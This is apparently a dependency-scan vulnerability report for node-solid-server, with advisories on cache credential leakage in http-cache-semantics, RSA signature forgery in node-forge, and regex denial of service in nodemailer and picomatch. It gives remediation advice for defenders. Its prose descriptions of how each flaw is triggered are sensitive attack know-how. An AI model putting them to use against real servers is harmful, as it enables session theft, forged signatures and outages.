  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpublish@11.2.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › npm-registry-fetch@19.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/sign@4.1.1 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › sigstore@4.1.1 › @sigstore/tuf@4.0.2 › tuf-js@4.1.0 › make-fetch-happen@15.0.6 › http-cache-semantics@4.3.0

Overview

Affected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client max-stale directives. An unauthenticated attacker can request the same URL with a large max-stale value to retrieve cached responses belonging to other users, including Set-Cookie session credentials from shared-cache entries that were deliberately zeroed for security reasons.

Remediation

There is no fixed version for http-cache-semantics.

References

high severity

Improper Verification of Cryptographic Signature

  • Vulnerable module: node-forge
  • Introduced through: node-forge@1.4.0

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › node-forge@1.4.0

Overview

node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in rsa.js, whose DigestInfo validation checks the outer element count (obj.value.length !== 2) but never verifies the element count of the inner DigestAlgorithm SEQUENCE, so the ASN.1 parser accepts extra children that are ignored during digest extraction. An attacker can forge a signature that verifies as valid for an arbitrary message, without the private key, by fixing the target digest at the block boundaries and filling roughly 314 garbage bytes inside the DigestAlgorithm structure to absorb the mathematical residue. This only affects verification against RSA keys with a low public exponent such as e=3, and although _parseAllDigestBytes defaults to true and rejects trailing garbage, it does not detect this interior padding.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-33894 and, as of this publication, has not been acknowledged by project maintainers.

Remediation

A fix was pushed into the master branch but not yet published.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@9.1.0.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity through the addressparser function in lib/addressparser/index.js. An attacker can block the Node.js event loop by supplying a crafted comma-separated address list, such as a To, Cc, Bcc, From, or Reply-To header value, that forces the parser to spend CPU time proportional to the square of the input size. This stalls email processing and delays or freezes every other request handled by the same process.

Remediation

Upgrade nodemailer to version 9.1.0 or higher.

References

high severity
new

Inefficient Algorithmic Complexity

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@7.0.13

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › nodemailer@7.0.13
    Remediation: Upgrade to nodemailer@10.0.6.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the address parser in src/addressparser/index.ts, where the regex /\s*\b[^@\s]+@[^\s]+\b\s*/ was used to search free text for an email address. The [^@\s]+ quantifier causes quadratic backtracking: from every offset it rescans the run up to the next @ and then fails, advancing one character and repeating. An attacker who can supply a long whitespace-free string containing no usable @ character can block the Node.js event loop for tens of seconds, with 273 KB of input producing approximately 43 seconds of blocking.

Remediation

Upgrade nodemailer to version 10.0.6 or higher.

References

high severity
new

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: picomatch
  • Introduced through: http-proxy-middleware@2.0.10, @solid/oidc-op@0.12.1 and others

Detailed paths

  • Introduced through: solid-server@solid/node-solid-server › http-proxy-middleware@2.0.10 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-op@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-op@0.12.1 › @solid/keychain@0.4.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-op@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-rs@0.7.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › solid-auth-client@2.5.6 › @solid/oidc-rp@0.11.10 › @solid/jose@0.6.9 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/oidc-op@0.12.1 › @solid/keychain@0.4.0 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › @solid/oidc-auth-manager@0.25.2 › @solid/solid-multi-rp-client@0.7.2 › @solid/oidc-rp@0.12.1 › @solid/jose@0.7.0 › isomorphic-webcrypto@2.3.8 › @unimodules/react-native-adapter@6.5.0 › expo-modules-autolinking@0.3.4 › fast-glob@3.3.3 › micromatch@4.0.8 › picomatch@2.3.2
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmversion@8.0.4 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmversion@8.0.4 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/arborist@9.9.3 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-panes@4.5.3 › solid-ui@4.0.0 › npm@11.21.1 › @npmcli/metavuln-calculator@9.0.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmdiff@8.1.14 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmexec@10.3.4 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmfund@7.0.28 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
  • Introduced through: solid-server@solid/node-solid-server › mashlib@2.3.3 › solid-ui@4.0.0 › npm@11.21.1 › libnpmpack@9.1.15 › @npmcli/arborist@9.9.3 › pacote@21.5.1 › @npmcli/run-script@10.0.4 › node-gyp@12.4.0 › tinyglobby@0.2.17 › picomatch@4.0.7
